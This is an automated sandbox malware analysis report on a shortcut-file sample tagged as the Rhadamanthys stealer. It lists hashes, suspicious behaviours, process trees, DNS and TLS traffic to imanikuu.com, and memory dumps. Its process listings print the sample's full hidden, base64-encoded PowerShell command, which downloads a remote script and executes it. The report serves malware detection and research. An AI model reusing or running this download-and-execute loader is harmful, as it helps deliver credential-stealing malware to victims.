Malware Analysis Report

2024-11-13 13:50

Sample ID 240405-ntewrsag7y
Target DOC692-692692.lnk.zip
SHA256 3b9db9baa7abb0f6648f2ee6147486a9432e4c635d47a4b8e0202fb922106aef
Tags
rhadamanthys stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

3b9db9baa7abb0f6648f2ee6147486a9432e4c635d47a4b8e0202fb922106aef

Threat Level: Known bad

The file DOC692-692692.lnk.zip was found to be: Known bad.

Malicious Activity Summary

rhadamanthys stealer

Suspicious use of NtCreateUserProcessOtherParentProcess

Rhadamanthys

Blocklisted process makes network request

Checks computer location settings

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-04-05 11:41

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-04-05 11:41

Reported

2024-04-05 11:43

Platform

win7-20240221-en

Max time kernel

117s

Max time network

118s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC692 - 692692.lnk"

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2336 wrote to memory of 2704 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2336 wrote to memory of 2704 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2336 wrote to memory of 2704 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC692 - 692692.lnk"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==

Network

N/A

Files

memory/2704-38-0x000000001B690000-0x000000001B972000-memory.dmp

memory/2704-39-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

memory/2704-41-0x0000000002230000-0x0000000002238000-memory.dmp

memory/2704-40-0x0000000002840000-0x00000000028C0000-memory.dmp

memory/2704-44-0x0000000002840000-0x00000000028C0000-memory.dmp

memory/2704-43-0x0000000002840000-0x00000000028C0000-memory.dmp

memory/2704-42-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

memory/2704-45-0x0000000002840000-0x00000000028C0000-memory.dmp

memory/2704-46-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-04-05 11:41

Reported

2024-04-05 11:43

Platform

win10v2004-20240226-en

Max time kernel

93s

Max time network

97s

Command Line

sihost.exe

Signatures

Rhadamanthys

stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 1476 created 2896 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\sihost.exe

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\sihost.exe

sihost.exe

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC692 - 692692.lnk"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==

C:\Windows\system32\dialer.exe

"C:\Windows\system32\dialer.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 imanikuu.com udp
US 64.20.41.122:443 imanikuu.com tcp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 112.136.73.23.in-addr.arpa udp
US 8.8.8.8:53 122.41.20.64.in-addr.arpa udp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 81.139.73.23.in-addr.arpa udp
US 8.8.8.8:53 136.136.73.23.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp

Files

memory/1476-2-0x0000020670270000-0x0000020670292000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_exvy4qkg.oa4.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1476-12-0x00007FFA2BAA0000-0x00007FFA2C561000-memory.dmp

memory/1476-14-0x0000020670370000-0x0000020670380000-memory.dmp

memory/1476-13-0x0000020670370000-0x0000020670380000-memory.dmp

memory/1476-15-0x00000206702A0000-0x00000206702FE000-memory.dmp

memory/1476-16-0x0000020670300000-0x0000020670310000-memory.dmp

memory/1476-17-0x0000020670930000-0x0000020670D30000-memory.dmp

memory/1476-19-0x0000020670930000-0x0000020670D30000-memory.dmp

memory/1476-18-0x0000020670300000-0x0000020670310000-memory.dmp

memory/1476-21-0x0000020670930000-0x0000020670D30000-memory.dmp

memory/1476-20-0x00007FFA49B70000-0x00007FFA49D65000-memory.dmp

memory/1476-22-0x00007FFA47E00000-0x00007FFA47EBE000-memory.dmp

memory/1476-23-0x00007FFA475B0000-0x00007FFA47879000-memory.dmp

memory/3004-24-0x0000015EF66C0000-0x0000015EF66C9000-memory.dmp

memory/1476-28-0x00007FFA2BAA0000-0x00007FFA2C561000-memory.dmp

memory/1476-29-0x0000020670930000-0x0000020670D30000-memory.dmp

memory/3004-31-0x0000015EF8230000-0x0000015EF8630000-memory.dmp

memory/3004-32-0x00007FFA49B70000-0x00007FFA49D65000-memory.dmp

memory/3004-34-0x00007FFA47E00000-0x00007FFA47EBE000-memory.dmp

memory/3004-33-0x0000015EF8230000-0x0000015EF8630000-memory.dmp

memory/3004-35-0x00007FFA475B0000-0x00007FFA47879000-memory.dmp

memory/3004-36-0x0000015EF8230000-0x0000015EF8630000-memory.dmp